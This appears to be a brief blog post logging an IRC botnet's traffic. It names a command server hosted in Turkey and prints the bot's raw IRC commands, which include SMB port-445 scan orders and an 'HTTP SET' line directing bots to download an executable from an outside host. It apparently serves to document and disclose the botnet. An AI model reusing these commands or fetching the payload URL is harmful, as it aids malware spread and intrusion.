46.45.156.126(irc botnet hosted in Turkey Radore Hosting Telekomunikasyon Hizmetleri San. Ve Tic. Ltd. Sti)

Remote Host Port Number
192.168.146.2 445

46.45.156.126 81 ircd here

74.206.242.164 80

NICK [N00_USA_XP_1986626]
PRIVMSG [N00_USA_XP_1986
@ :scan; Sequential Port Scan started on 192.168.146.0:445 with a delay of 5 seconds for 0 minutes using 10 threads.
USER SP2-189 * 0 :COMPUTERNAME
@ :scan; Random Port Scan started on 174.133.x.x:445 with a delay of 5 seconds for 0 minutes using 10 threads.
@ :scan; Random Port Scan started on 174.x.x.x:445 with a delay of 5 seconds for 0 minutes using 10 threads.
MODE #h1 -ix
MODE [N00_USA_XP_1986626]
A -ix
JOIN #h1
PRIVMSG #xs :HTTP SET http://46.45.156.124/h1.exe

infos about hosting:
http://whois.domaintools.com/46.45.156.126

Categories: Uncategorized